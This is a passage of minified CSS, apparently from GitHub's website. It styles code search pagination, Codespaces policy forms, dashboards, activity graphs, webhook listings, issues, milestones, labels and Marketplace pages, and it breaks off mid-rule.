.gap{display:none}.codesearch-pagination-container .previous_page,.codesearch-pagination-container .next_page{width:100%}.codesearch-pagination-container .current{color:var(--color-fg-muted);background:var(--color-canvas-default);border-color:var(--color-border-default)}.codesearch-pagination-container .current::after{content:" of " attr(data-total-pages)}}.codespaces-policy-form details>summary::-webkit-details-marker{display:none}.codespaces-wider-select-menu-modal{width:420px;margin-right:32px}.codespaces-policy-item-no-hover:hover{background-color:var(--color-canvas-overlay)}.codespaces-policy-constraint-menu-item-muted-hover:hover{color:var(--color-fg-default);background-color:var(--color-btn-hover-bg)}.codespaces-policy-form-button-hover:hover .codespaces-policy-form-button-text-hover{border-color:var(--color-btn-hover-bg) !important}.codespaces-policy-form-button-hide-border{border-color:var(--color-scale-white) !important}.codespaces-policy-form-blue-hover:hover{color:var(--color-accent-fg) !important}.codespaces-policy-form-blue-hover:hover svg{color:var(--color-accent-fg) !important}.codespaces-policy-form-blue-hover:focus svg{color:var(--color-accent-fg) !important}.codespaces-policy-form-danger-hover:hover{background-color:var(--color-danger-subtle) !important}.cloud-panel .welcome-image{background:url("/images/modules/site/codespaces/dropdown-background-light.png");background-repeat:no-repeat;background-position:bottom center;background-size:contain}@media(prefers-color-scheme: light){.cloud-panel .welcome-image{background:url("/images/modules/site/codespaces/dropdown-background-light.png");background-repeat:no-repeat;background-position:bottom center;background-size:contain}}@media(prefers-color-scheme: dark){.cloud-panel .welcome-image{background:url("/images/modules/site/codespaces/dropdown-background-dark.png");background-repeat:no-repeat;background-position:bottom center;background-size:contain}}@media(prefers-color-scheme: no-preference){.cloud-panel .welcome-image{background:url("/images/modules/site/codespaces/dropdown-background-light.png");background-repeat:no-repeat;background-position:bottom center;background-size:contain}}.commit-activity-master{margin-top:16px}.is-graph-loading .commit-activity-master{display:none}rect{shape-rendering:crispedges}rect.max{fill:var(--color-attention-fg)}g.bar{fill:var(--color-success-fg)}g.mini{fill:var(--color-severe-fg)}g.active rect{fill:var(--color-danger-fg)}circle.focus{fill:var(--color-fg-muted)}.dot text{fill:var(--color-fg-muted);stroke:none}span.no-nl-marker{position:relative;color:var(--color-danger-fg);vertical-align:middle}.symlink .no-nl-marker{display:none}.range-editor{position:relative;padding:4px 16px 4px 40px;margin-top:16px;margin-bottom:16px;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-radius:6px}.range-editor .dots{font-size:16px}.range-editor .select-menu{position:relative;display:inline-block}.range-editor .select-menu.fork-suggester{display:none}.range-editor .branch-name{line-height:22px}.range-editor .branch .css-truncate-target,.range-editor .fork-suggester .css-truncate-target{max-width:180px}.range-editor .pre-mergability{display:inline-block;padding:4px;line-height:26px;vertical-align:middle}.range-editor .pre-mergability .octicon{vertical-align:text-bottom}.range-editor.is-cross-repo .select-menu.fork-suggester{display:inline-block}.range-editor-icon{float:left;margin-top:8px;margin-left:-24px;color:var(--color-fg-muted)}.compare-pr-header{display:none}.is-pr-composer-expanded .compare-show-header{display:none}.is-pr-composer-expanded .compare-pr-header{display:block}.range-cross-repo-pair{display:inline-block;padding:4px;white-space:nowrap}.tint-box{position:relative;margin-bottom:8px;background:var(--color-canvas-subtle);border-radius:6px}.tint-box.transparent{background:var(--color-canvas-default)}.tint-box .activity{padding-top:100px;margin-top:0}.contrib-person path{fill:var(--color-severe-fg)}.contrib-person .midlabel{fill:var(--color-neutral-emphasis)}.coupons .setup-plans td img{margin-top:-2px;vertical-align:middle}.coupons .coupon-form-body{width:270px;padding:16px;margin:100px auto 60px;font-size:14px;text-align:center;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-radius:6px}.coupons .coupon-form-body .input-block{margin-bottom:16px}.coupons .coupon-form-body .btn{display:block;width:100%}.coupon-icon{width:80px;height:80px;margin:0 auto 16px;color:var(--color-accent-fg);border:1px solid var(--color-border-default);border-radius:40px}.coupon-icon .octicon{margin-top:16px;margin-right:2px}.coupons-list-options .select-menu{display:inline-block;margin-right:8px}.coupons-list-options .pagination{float:right;margin:0}.repo-private-icon{fill:var(--color-attention-fg)}.dashboard-rollup-items>.dashboard-rollup-item{border-top:1px solid var(--color-border-default)}.news-full{float:none;width:auto}.dashboard-break-word{-webkit-hyphens:auto;hyphens:auto;word-break:break-word}.news .bio g-emoji,.news .repo-description g-emoji{display:inline-block}.news .feed-item-heading-menu-button{color:var(--color-fg-muted)}.news .feed-item-heading-menu-button:hover{color:var(--color-fg-default)}.suggest-icon{width:48px;height:48px;padding:4px}.suggest-icon svg,.suggest-icon path{fill:#fff}.suggest-icon svg::before,.suggest-icon path::before{bottom:-6px;left:-4px;background-color:#9e7bff}.suggest-icon svg::after,.suggest-icon path::after{top:-5px;right:-5px;width:5px;height:5px;background-color:#6c84e9}.suggest-icon .suggest-icon-bubble{position:absolute;width:6px;height:6px;background-color:#6c84e9;border-radius:50%}.suggest-icon .suggest-icon-bubble:nth-of-type(2n){width:4px;height:4px;background-color:#9e7bff}.suggest-icon .suggest-icon-bubble:nth-of-type(1){bottom:-7px;left:-7px}.suggest-icon .suggest-icon-bubble:nth-of-type(2){top:-4px;right:4px}.suggest-icon .suggest-icon-bubble:nth-of-type(3){top:-7px;right:-8px}.dashboard-notice{position:relative;padding:16px 16px 16px 55px;margin-bottom:16px;font-size:14px;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-radius:6px}.dashboard-notice .dismiss{position:absolute;top:10px;right:10px;width:16px;height:16px;color:var(--color-fg-muted);cursor:pointer}.dashboard-notice .dismiss:hover{color:var(--color-fg-muted)}.dashboard-notice .notice-icon{position:absolute;top:15px;left:15px}.dashboard-notice .octicon-organization{color:var(--color-accent-fg)}.dashboard-notice h2{margin-top:8px;margin-bottom:16px;font-size:16px;font-weight:400;color:var(--color-fg-default)}.dashboard-notice p.no-title{padding-right:4px}.dashboard-notice ul{margin-left:16px}.dashboard-notice li{padding-bottom:16px}.dashboard-notice .coupon{padding:8px;margin:16px 0;font-size:20px;font-weight:600;text-align:center;background:var(--color-canvas-default);border:1px dashed var(--color-border-default)}.dashboards-overview-lead{width:700px}.dashboards-overview-cards .boxed-group{width:100%;margin:8px 0}.dashboards-overview-cards .boxed-group .graph-canvas path{stroke-opacity:.5}.dashboards-overview-cards .is-no-activity .blankslate{display:block}.dashboards-overview-cards .is-no-activity .dashboards-overview-graph{display:none}.dashboards-overview-cards .blankslate{display:none;padding-top:47px;background-color:var(--color-canvas-default);border:0;box-shadow:none}.dashboards-overview-cards .octicon-arrow-down,.dashboards-overview-cards .octicon-arrow-up{display:none}.dashboards-overview-cards .is-increase .octicon-arrow-up{display:inline-block}.dashboards-overview-cards .is-decrease .octicon-arrow-down{display:inline-block}.dashboards-overview-cards .octicon-arrow-down{color:var(--color-danger-fg)}.dashboards-overview-cards .octicon-arrow-up{color:#1db34f}.dashboards-overview-cards .graph-canvas .dots{padding:43px 0}.dashboards-overview-cards .summary-stats{height:78px}.dashboards-overview-cards .summary-stats .metric-0{color:#1db34f}.dashboards-overview-cards .summary-stats .metric-1{color:var(--color-accent-fg)}.dashboards-overview-cards .summary-stats .totals-num{margin:0 8px}.dashboards-overview-cards .summary-stats .single{width:100%}.dashboards-overview-cards .dashboards-overview-graph{height:160px}.dashboards-overview-cards .dashboards-overview-graph path{fill:none;stroke-width:2}.dashboards-overview-cards .dashboards-overview-graph path.metric-0{stroke:#1db34f}.dashboards-overview-cards .dashboards-overview-graph path.metric-1{stroke:#1d7fb3}.dashboards-overview-cards .dashboards-overview-graph .y line{stroke:#1db34f}.dashboards-overview-cards .dashboards-overview-graph .y.unique line{stroke:#1d7fb3}.dashboards-overview-cards .dashboards-overview-graph .overlay{fill-opacity:0}.dashboards-overview-cards .metric-0 circle{fill:#1db34f;stroke:#fff;stroke-width:2}.dashboards-overview-cards .dots.metric-1 circle{fill:#1d7fb3;stroke:#fff;stroke-width:2}dl.form.developer-select-account{margin-top:0}.developer-wrapper .setup-info-module .features-list{margin-left:16px}.developer-wrapper .setup-info-module .features-list .octicon{margin-left:-16px}.developer-thanks h2{font-size:40px;font-weight:400}.developer-thanks .hook{margin-top:2px;margin-bottom:32px;font-size:16px;font-weight:300;color:var(--color-fg-muted)}.developer-thanks-image{position:relative;bottom:-45px;float:left;width:400px}.developer-thanks-section{margin:130px 0 0 470px}.developer-next-steps{font-size:16px;font-weight:300;list-style:none}.developer-next-steps li{margin-top:8px}.developer-next-steps li:first-child{margin-top:0}.developer-next-steps .octicon{margin-right:8px;color:var(--color-success-fg);vertical-align:middle}.file-diff-split[data-lock-side-selection=left] [data-split-side=right],.file-diff-split[data-lock-side-selection=right] [data-split-side=left]{-webkit-user-select:none;user-select:none}.invisible{position:absolute;opacity:0}.icon-discussion-answered{color:var(--color-success-fg)}.icon-discussion-answered,.icon-discussion-answered path{fill:var(--color-success-emphasis)}.icon-discussion-white{color:var(--color-discussions-state-answered-icon) !important}.icon-discussion-white,.icon-discussion-white path{fill:var(--color-discussions-state-answered-icon) !important}.icon-discussion-gray{color:var(--color-fg-default)}.icon-discussion-gray,.icon-discussion-gray path{fill:var(--color-fg-default)}.label-select-menu .color{display:inline-block;width:14px;height:14px;margin-top:-1px;margin-right:2px;vertical-align:middle;border-radius:7px}.label-select-menu .select-menu-item:hover,.label-select-menu .select-menu-item:focus,.label-select-menu .select-menu-item[aria-checked=true]:hover,.label-select-menu .select-menu-item[aria-checked=true]:focus{color:inherit;background-color:var(--color-neutral-subtle)}.label-select-menu .select-menu-item-icon,.label-select-menu .label-options-icon{color:inherit !important}.user-has-reacted .octicon{fill:var(--color-accent-fg)}.donut-chart>.error,.donut-chart>.cancelled,.donut-chart>.action_required,.donut-chart>.timed_out,.donut-chart>.failure{fill:var(--color-checks-donut-error)}.donut-chart>.expected,.donut-chart>.queued,.donut-chart>.in_progress,.donut-chart>.waiting,.donut-chart>.requested,.donut-chart>.pending{fill:var(--color-checks-donut-pending)}.donut-chart>.success{fill:var(--color-checks-donut-success)}.donut-chart>.neutral,.donut-chart>.stale,.donut-chart>.skipped{fill:var(--color-checks-donut-neutral)}.survey-question-form .other-text-form,.survey-question-form .other-text-form-block{display:none;margin-top:0}.survey-question-form.is-other-selected .other-text-form{display:inline-block}.survey-question-form.is-other-selected .other-text-form-block{display:block}.ghe-license-status{padding:40px 0;font-size:16px;text-align:center}.ghe-license-status .octocat{width:225px;margin-bottom:16px}.ghe-license-status h1{margin-bottom:8px}.ghe-license-status p{margin-bottom:4px;color:var(--color-fg-muted)}.ghe-license-expiry-icon{margin:4px 8px 0 0;color:var(--color-attention-fg)}.feature-preview-dialog{width:90vw;max-width:880px;height:60vh;min-height:240px;max-height:700px}.feature-preview-dialog .feature-preview-info{height:60vh;min-height:183px;max-height:calc(100% - 57px)}.file{position:relative;margin-top:16px;margin-bottom:16px;border:1px solid var(--color-border-default, #ddd);border-radius:6px}.file .drag-and-drop{border:0;border-top:1px dashed var(--color-border-default)}.file:target{outline:none !important;box-shadow:0 0 0 2px var(--color-accent-fg) !important}.file .data.empty{padding:4px 8px;color:var(--color-fg-muted)}.file:not(.open) .file-header.file-header--expandable{border-bottom:0;border-radius:6px}.file .data.suppressed,.file.open .image{display:none}.file.open .data.suppressed{display:block}.file .image{position:relative;padding:32px;text-align:center;background-color:#ddd}.file .image table{margin:0 auto}.file .image td{padding:0 4px;color:var(--color-fg-muted);text-align:center;vertical-align:top}.file .image td img{max-width:100%}.file .image .border-wrap{position:relative;display:inline-block;line-height:0;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default)}.file .image a{display:inline-block;line-height:0}.file .image img,.file .image canvas{max-width:600px;background:url("/images/modules/commit/trans_bg.gif") right bottom #eee;border:1px solid #fff}.file .image .view img,.file .image .view canvas{position:relative;top:0;right:0;max-width:inherit;background:url("/images/modules/commit/trans_bg.gif") right bottom #eee}.file .image .view>span{vertical-align:middle}.file .empty{background:none}.file-header{z-index:2;padding:4px 8px;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default);border-top-left-radius:6px;border-top-right-radius:6px}.file-header::before{display:table;content:""}.file-header::after{display:table;clear:both;content:""}.file-actions{float:right;padding-top:2px;font-size:12px}.file-actions select{margin-left:4px}.file-info{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px;line-height:32px}.file-info .octicon{vertical-align:text-bottom}.sticky-file-header{position:sticky;top:60px}.diff-progressive-loader{min-height:150px}.load-diff-button,.load-diff-retry{z-index:1;min-height:32px}.diff-placeholder-svg{clip:rect(1px, 1px, 1px, 1px);-webkit-clip-path:inset(50%);clip-path:inset(50%)}.ghae-bootstrap-container{min-height:calc(100vh - 54px)}.ghae-bootstrap-incomplete-step{color:var(--color-fg-muted);background-color:var(--color-canvas-subtle)}.ghae-bootstrap-complete-step{color:var(--color-fg-on-emphasis);background-color:var(--color-success-emphasis)}.ghae-enterprise-name-form-error{left:50%;transform:translateX(-50%)}.graphs .area{fill:var(--color-success-emphasis);fill-opacity:.5}.graphs .path{fill:none;stroke:var(--color-success-emphasis);stroke-opacity:1;stroke-width:2px}.graphs .dot{fill:var(--color-success-emphasis);stroke:#1e7e34;stroke-width:2px}.graphs .dot.padded{stroke:var(--color-canvas-default);stroke-width:1px}.graphs .dot.padded circle:hover{fill:var(--color-accent-emphasis)}.graphs .d3-tip{fill:var(--color-neutral-emphasis)}.graphs .d3-tip text{font-size:12px;fill:var(--color-canvas-default)}.graphs .dir{float:right;padding-top:4px;font-size:12px;font-weight:400;line-height:100%;color:var(--color-fg-muted)}.graphs .selection .overlay{visibility:none}.graphs .selection .selection{fill:var(--color-neutral-emphasis);fill-opacity:.1;stroke:var(--color-fg-default);stroke-dasharray:3 3;stroke-opacity:.4;stroke-width:1px;shape-rendering:crispedges}.graph-filter h3{display:inline-block;font-size:24px;font-weight:300}.graph-filter .info{margin-bottom:16px;color:var(--color-fg-muted)}.graph-canvas .activity{width:400px;padding:8px;margin:100px auto 0;color:var(--color-fg-default);text-align:center;border-radius:6px}.graph-canvas .dots{margin:0 auto}.graph-canvas>.activity{display:none}.graph-canvas .axis{font-size:12px}.graph-canvas .axis line{stroke:var(--color-border-default);shape-rendering:crispedges}.graph-canvas .axis text{fill:var(--color-fg-muted)}.graph-canvas .axis path{display:none}.graph-canvas .axis .zero line{stroke:var(--color-accent-emphasis);stroke-dasharray:3 3;stroke-width:1.5}.graph-canvas text.axis{fill:var(--color-fg-muted)}.graph-canvas .graph-loading,.graph-canvas .graph-error,.graph-canvas .graph-no-usable-data,.graph-canvas .graph-empty{display:none}.graph-canvas.is-graph-loading>.activity,.graph-canvas.is-graph-without-usable-data>.activity,.graph-canvas.is-graph-empty>.activity{display:block}.graph-canvas.is-graph-loading .graph-loading,.graph-canvas.is-graph-empty .graph-empty,.graph-canvas.is-graph-without-usable-data .graph-no-usable-data,.graph-canvas.is-graph-load-error .graph-error{display:block}.svg-tip{position:absolute;z-index:99999;padding:8px 16px;font-size:12px;color:var(--color-fg-on-emphasis);text-align:center;background:var(--color-neutral-emphasis-plus);border-radius:6px}.svg-tip.is-visible{display:block}.svg-tip::after{position:absolute;bottom:-10px;left:50%;width:5px;height:5px;box-sizing:border-box;margin:0 0 0 -4px;content:" ";border:5px solid transparent;border-top-color:var(--color-neutral-emphasis-plus)}.svg-tip.left::after{left:10%}.svg-tip.right::after{left:90%}.svg-tip.comparison{padding:0;text-align:left;pointer-events:none}.svg-tip.comparison .title{display:block;padding:8px;margin:0;font-weight:600;line-height:1;pointer-events:none}.svg-tip.comparison ul{padding:4px 8px 8px 8px;margin:0;white-space:nowrap;list-style:none}.svg-tip.comparison li{display:inline-block;padding-top:16px}.svg-tip.comparison .metric-0,.svg-tip.comparison .metric-1{position:relative}.svg-tip.comparison .metric-0::before,.svg-tip.comparison .metric-1::before{position:absolute;top:0;right:0;left:0;height:4px;content:"";border:1px solid var(--color-border-default);border-radius:6px}.svg-tip.comparison .metric-0::before{background-color:var(--color-success-emphasis)}.svg-tip.comparison .metric-1::before{background-color:var(--color-accent-emphasis)}.svg-tip-one-line{white-space:nowrap}.activity-overview-axis,.activity-overview-point{stroke:var(--color-calendar-graph-day-L4-bg)}.halloween-activity-overview .activity-overview-axis,.halloween-activity-overview .activity-overview-point{stroke:var(--color-calendar-halloween-graph-day-L4-bg)}.activity-overview-label{fill:var(--color-fg-muted)}.activity-overview-percentage{font-size:12px;fill:var(--color-fg-muted)}.team-breadcrumb .team-breadcrumb-item{display:inline-block}.team-breadcrumb .team-breadcrumb-item::after{padding-right:.5em;padding-left:.5em;color:var(--color-neutral-muted);content:"/"}.team-breadcrumb .team-breadcrumb-item-selected::after{content:none}.team-discussions-container{min-height:100vh}.team-left-column{max-width:100%}@media(min-width: 768px){.team-left-column{max-width:350px}}.team-left-column .team-avatar{width:80px;height:80px}@media(min-width: 768px){.team-left-column .team-avatar{width:140px;height:140px}}.team-discussions{max-width:768px}.team-discussions .previewable-comment-form .comment{border:0}.team-discussions .previewable-comment-form .toolbar-commenting.toolbar-commenting.toolbar-commenting{background:transparent}.team-discussions .previewable-comment-form .tabnav-tab.selected{background-color:var(--color-canvas-default)}.hooks-listing .boxed-group-action.select-menu{z-index:auto}.hooks-listing .boxed-group-inner{padding:0 8px;margin-bottom:8px}.hook-item a:hover{text-decoration:none}.hook-item .item-status{float:left;width:16px;margin-right:8px;text-align:center}.hook-item .description{color:var(--color-fg-muted)}.hook-item .description .css-truncate-target{max-width:160px}.hook-item .icon-for-success,.hook-item .icon-for-failure,.hook-item .icon-for-pending,.hook-item .icon-for-inactive{display:none}.hook-item.success .icon-for-success{display:inline-block;color:var(--color-success-fg)}.hook-item.failure .icon-for-failure{display:inline-block;color:var(--color-danger-fg)}.hook-item.pending .icon-for-pending{display:inline-block;color:var(--color-fg-muted)}.hook-item.inactive .icon-for-inactive{display:inline-block;color:var(--color-fg-muted)}.hook-item .icon-for-enabled,.hook-item .icon-for-disabled{display:none}.hook-item.enabled .icon-for-enabled{display:inline-block;color:var(--color-success-fg)}.hook-item.disabled .icon-for-disabled{display:inline-block;color:var(--color-fg-muted)}.hook-item .hook-error-message{margin-left:24px;color:var(--color-danger-fg)}.hook-url.css-truncate-target{max-width:360px}.hooks-oap-warning{margin-top:0}.hooks-oap-warning ul{margin:8px 0}.hooks-oap-warning ul li{margin-left:16px}.item-name{float:left;font-weight:600}.hovercard-icon{width:16px}.integration-meta-head{font-size:16px;color:var(--color-fg-muted)}.integrations-select-repos{max-height:138px;overflow-y:scroll;border-radius:6px}.integrations-select-repos .mini-repo-list-item{padding:8px 64px 8px 32px}.integrations-select-repos .mini-repo-list-item:hover .repo,.integrations-select-repos .mini-repo-list-item:hover .owner{text-decoration:none}.integrations-select-repos .mini-repo-list-item .css-truncate-target{max-width:345px}.integrations-select-repos::-webkit-scrollbar{width:10px}.integrations-select-repos::-webkit-scrollbar-thumb{background-color:rgba(0,0,0,.5);border:solid var(--color-canvas-default) 2px;border-radius:6px;box-shadow:0 0 1px rgba(255,255,255,.5)}.integrations-select-repos::-webkit-scrollbar-track-piece{background:transparent}.integrations-repository-picker{width:440px}.target-avatar{position:relative;top:-2px}.issue-list-item+.issue-list-item{border-top:solid 1px var(--color-border-muted)}.pinned-issue-item .pinned-issue-handle{cursor:grab}.pinned-issue-item.is-dragging,.pinned-issue-item.is-dragging .pinned-issue-handle{cursor:grabbing}.pinned-issue-item.is-dragging{background-color:var(--color-accent-subtle)}.pinned-issue-item.sortable-ghost{background-color:var(--color-accent-subtle);opacity:0}.issues-reset-query-wrapper{margin-bottom:16px}.label-link:hover{text-decoration:none}.issues-reset-query{font-weight:600;color:var(--color-fg-muted)}.issues-reset-query:hover{color:var(--color-accent-fg);text-decoration:none}.issues-reset-query:hover .issues-reset-query-icon{background-color:var(--color-accent-emphasis)}.issues-reset-query-icon{width:18px;height:18px;padding:1px;margin-right:4px;color:var(--color-fg-on-emphasis);text-align:center;background-color:var(--color-neutral-emphasis);border-radius:6px}.table-list-milestones .stats{gap:0 15px}.table-list-milestones .table-list-cell{padding:16px 16px}.table-list-milestones .stat{display:inline-block;font-size:14px;font-weight:600;line-height:1.2;color:var(--color-fg-muted);white-space:nowrap}.table-list-milestones .stat a{color:inherit}.table-list-milestones .stat-label{font-weight:400;color:var(--color-fg-muted)}.milestone-title{width:500px}.milestone-title-link{margin-top:0;margin-bottom:4px;font-size:24px;font-weight:400;line-height:1.2}.milestone-title-link a{color:var(--color-fg-default, #333)}.milestone-title-link a:hover{color:var(--color-accent-fg)}.milestone-progress{width:auto;max-width:420px}.milestone-progress .progress-bar{margin-top:8px;margin-bottom:12px}.milestone-meta{font-size:14px}.milestone-meta-item{display:inline-block;margin-right:8px}.milestone-meta-item .octicon{width:16px;text-align:center}.milestone-description-html{display:none}.milestone-description{margin-top:4px}.milestone-description .expand-more{color:var(--color-accent-fg);cursor:pointer}.milestone-description .expand-more:hover{text-decoration:underline}.milestone-description.open .milestone-description-plaintext{display:none}.milestone-description.open .milestone-description-html{display:block}.milestones-flexbox-gap{gap:10px}.issue-reorder-warning{z-index:110}.task-progress{color:var(--color-fg-muted);text-decoration:none;vertical-align:top}.task-progress .octicon{margin-right:4px;color:var(--color-fg-muted, #999);vertical-align:bottom}.task-progress .progress-bar{display:inline-block;width:80px;height:5px;vertical-align:2px;background-color:var(--color-neutral-muted)}.task-progress .progress-bar .progress{background-color:var(--color-border-default)}.task-progress-counts{display:inline-block;margin-right:4px;margin-left:-2px;font-size:12px}a.task-progress:hover{color:var(--color-accent-fg)}a.task-progress:hover .octicon{color:inherit}a.task-progress:hover .progress-bar .progress{background-color:var(--color-accent-emphasis)}.issue-meta-section .octicon{color:var(--color-fg-muted, #ccc);vertical-align:bottom}.issue-milestone{max-width:240px}.issue-milestone .css-truncate-target{max-width:100px}.milestone-link .octicon{font-size:14px}.milestone-link:hover .octicon{color:inherit}.new-pr-form{margin-top:16px;margin-bottom:16px}.new-pr-form::before{display:table;content:""}.new-pr-form::after{display:table;clear:both;content:""}.new-pr-form .discussion-timeline::before{display:none}.label-select-menu .description{margin-left:16px}.label-select-menu .color{display:inline-block;width:14px;height:14px;margin-top:-1px;margin-right:2px;vertical-align:middle;border-radius:7px}.label-select-menu [aria-checked=true] .select-menu-item-icon,.label-select-menu [aria-checked=mixed] .select-menu-item-icon,.label-select-menu .selected .select-menu-item-icon{color:inherit !important}.label-select-menu [aria-checked=true] .octicon-circle-slash,.label-select-menu [aria-checked=mixed] .octicon-circle-slash,.label-select-menu .selected .octicon-circle-slash{color:var(--color-fg-muted)}.label-select-menu [aria-checked=true]:active,.label-select-menu [aria-checked=mixed]:active,.label-select-menu .selected:active{background-color:transparent !important}.label-select-menu .select-menu-item{position:relative}.label-select-menu .select-menu-item:hover,.label-select-menu .select-menu-item:focus,.label-select-menu .select-menu-item[aria-selected=true],.label-select-menu .select-menu-item.navigation-focus{color:inherit;background-color:var(--color-neutral-subtle)}.label-select-menu .select-menu-item:hover .select-menu-item-icon,.label-select-menu .select-menu-item:focus .select-menu-item-icon,.label-select-menu .select-menu-item[aria-selected=true] .select-menu-item-icon,.label-select-menu .select-menu-item.navigation-focus .select-menu-item-icon{color:transparent}.label-select-menu .select-menu-item:hover .label-options-icon,.label-select-menu .select-menu-item:focus .label-options-icon,.label-select-menu .select-menu-item[aria-selected=true] .label-options-icon,.label-select-menu .select-menu-item.navigation-focus .label-options-icon{color:inherit}.label-select-menu>form{position:relative}.subnav .btn+.issues-search{padding-right:8px;border-right:1px solid var(--color-border-muted)}.reaction-sort-item{float:left;width:39px;padding:4px;margin-top:4px;text-align:center;pointer-events:all;border:solid 1px transparent;border-radius:6px;opacity:.7}.reaction-sort-item:focus,.reaction-sort-item:hover{text-decoration:none;background-color:var(--color-accent-emphasis);opacity:1}.reaction-sort-item[aria-checked=true]{background-color:var(--color-accent-subtle);border-color:var(--color-accent-emphasis);opacity:1}.issue-keyword{border-bottom:1px dotted var(--color-border-default)}.issue-keyword:hover{border-bottom:0}.new-label-color-dimensions{width:24px;height:24px}.select-menu-item[aria-selected=true]>.octicon.label-options-icon,.select-menu-item.navigation-focus>.octicon.label-options-icon{color:var(--color-fg-default)}.new-label-color-input:invalid{color:var(--color-danger-fg)}.issue-form-textarea{height:100px !important;min-height:100px !important}.issue-forms-wysiwyg-container .comment-form-head{background:var(--color-canvas-subtle) !important}.issue-forms-wysiwyg-container .comment-body{border-bottom:0 !important}.issue-form-body>:first-child{margin-top:0 !important}.issue-create-branch-menu-action{color:var(--color-fg-default)}.issue-create-branch-menu-action:hover:not(:disabled){color:var(--color-fg-default);background-color:var(--color-canvas-subtle)}.issue-create-branch-menu-action:focus:not(:disabled){color:var(--color-fg-default);background-color:var(--color-neutral-subtle)}react-app{display:flex !important}react-app>div{width:100%}.repository-lang-stats{position:relative}.repository-lang-stats ol.repository-lang-stats-numbers li{display:table-cell;width:1%;padding:8px 4px;text-align:center;white-space:nowrap;border-bottom:0}.repository-lang-stats ol.repository-lang-stats-numbers li span.percent{float:none}.repository-lang-stats ol.repository-lang-stats-numbers li>a,.repository-lang-stats ol.repository-lang-stats-numbers li>span{font-weight:600;color:var(--color-fg-muted);text-decoration:none}.repository-lang-stats ol.repository-lang-stats-numbers li .lang{color:var(--color-fg-default)}.repository-lang-stats ol.repository-lang-stats-numbers li .language-color{display:inline-block;width:10px;height:10px;border-radius:50%}.repository-lang-stats ol.repository-lang-stats-numbers li a:hover{background:transparent}.repository-lang-stats-graph{width:100%;overflow:hidden;white-space:nowrap;cursor:pointer;-webkit-user-select:none;user-select:none;border:1px solid var(--color-border-default);border-top:0;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.repository-lang-stats-graph .language-color{line-height:8px;text-indent:-9999px}.repository-lang-stats-graph .language-color:first-child{border-bottom-left-radius:6px}.repository-lang-stats-graph .language-color:last-child{border-bottom-right-radius:6px}.repository-lang-stats-graph .language-color:not(:first-child){border-left:1px solid var(--color-canvas-default)}.facebox-loading,.octocat-spinner{min-height:64px;background-image:url("/images/spinners/octocat-spinner-64.gif");background-repeat:no-repeat;background-position:center center}.octocat-spinner-32{min-height:32px;background-image:url("/images/spinners/octocat-spinner-32.gif");background-repeat:no-repeat;background-position:center center}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (-moz-min-device-pixel-ratio: 2),only screen and (min-device-pixel-ratio: 2),only screen and (min-resolution: 192dpi),only screen and (min-resolution: 2dppx){.facebox-loading,.octocat-spinner{background-image:url("/images/spinners/octocat-spinner-128.gif");background-size:64px 64px}.octocat-spinner-32{background-image:url("/images/spinners/octocat-spinner-64.gif");background-size:32px 32px}}.map-container .activity{top:120px;left:340px;z-index:99999}.map-container .is-graph-loading .activity{display:block}.map{height:350px}.map-background{pointer-events:all;fill:#0366d6}.map-background-zoom{cursor:grab}.map-land{fill:none;stroke:#256aae;stroke-width:2;shape-rendering:crispedges}.map-country{fill:#d7c7ad;shape-rendering:crispedges;cursor:pointer}.map-country.hk{stroke:#a5967e}.map-country:hover{fill:#c8b28e}.map-country.active{fill:#f6e5ca}.map-borders{fill:none;stroke:#a5967e;shape-rendering:crispedges}.map-graticule{pointer-events:none;fill:none;stroke:#fff;stroke-opacity:.2;shape-rendering:crispedges}.map-graticule :nth-child(2n){stroke-dasharray:2,2}.map-legend .map-legend-circle{fill-opacity:0;stroke:#fff;stroke-width:1.5}.map-legend .map-legend-text{font-size:12px;fill:#fff;text-anchor:end}.map-legend .map-legend-link{stroke:#fff;stroke-width:1.5}.map-point{pointer-events:none;fill:#f66a0a}.map-point:hover{fill:#e36209}.map-country-info{top:8px;right:8px;pointer-events:none;opacity:0}.MarketplaceJumbotron{background-color:var(--color-neutral-emphasis);background-image:url("/images/modules/marketplace/bg-hero.svg");background-repeat:repeat-y;background-position:center top;background-size:150% auto}@media(min-width: 768px){.MarketplaceJumbotron{background-repeat:no-repeat;background-size:cover}}.CircleBadge--feature{position:relative;top:0;transition:top .15s ease-in,box-shadow .12s ease-in}.MarketplaceFeature{min-width:250px}.MarketplaceFeature-text{opacity:.7;transition:opacity .12s ease-in}.MarketplaceFeature-link:hover .CircleBadge--feature{top:-3px;box-shadow:0 3px 8px 0 rgba(0,0,0,.2)}.MarketplaceFeature-link:hover .MarketplaceFeature-text{opacity:1}.MarketplaceFeature-link:active .CircleBadge--feature{top:0;box-shadow:0}.MarketplaceSideNav{-webkit-overflow-scrolling:touch;background-color:var(--color-canvas-subtle)}@media(min-width: 768px){.MarketplaceSideNav{background-color:var(--color-canvas-default);border-right:1px solid var(--color-border-default)}}.ScreenshotCarousel{border:1px solid var(--color-border-default);border-radius:6px}.ScreenshotCarousel-screenshot{padding:16px}.ScreenshotCarousel-nav{display:flex;overflow-x:auto;align-items:top;box-shadow:inset 0 1px 0 var(--color-border-default)}.ScreenshotCarousel-navitem{width:20%;min-width:120px;padding:16px;cursor:pointer;border-right:1px solid var(--color-border-default)}.ScreenshotCarousel-navitem:last-child{border-right:0}.ScreenshotCarousel-navitem.selected{background-color:var(--color-canvas-subtle);box-shadow:inset 0 0 4px rgba(36,41,46,.15)}.marketplace-listing-screenshot-container{width:175px;min-height:175px;background-repeat:no-repeat;background-position:center center;background-size:cover}.marketplace-listing-screenshot-zoom{display:none;cursor:move}.marketplace-listing-details-sidebar{order:2}@media(min-width: 768px){.marketplace-listing-details-sidebar{order:1}}.marketplace-listing-details-description{order:1}@media(min-width: 768px){.marketplace-listing-details-description{order:2}}.marketplace-listing-screenshot-link{height:100px;cursor:move}.marketplace-listing-screenshot-link:hover .marketplace-listing-screenshot-zoom,.marketplace-listing-screenshot-link:focus 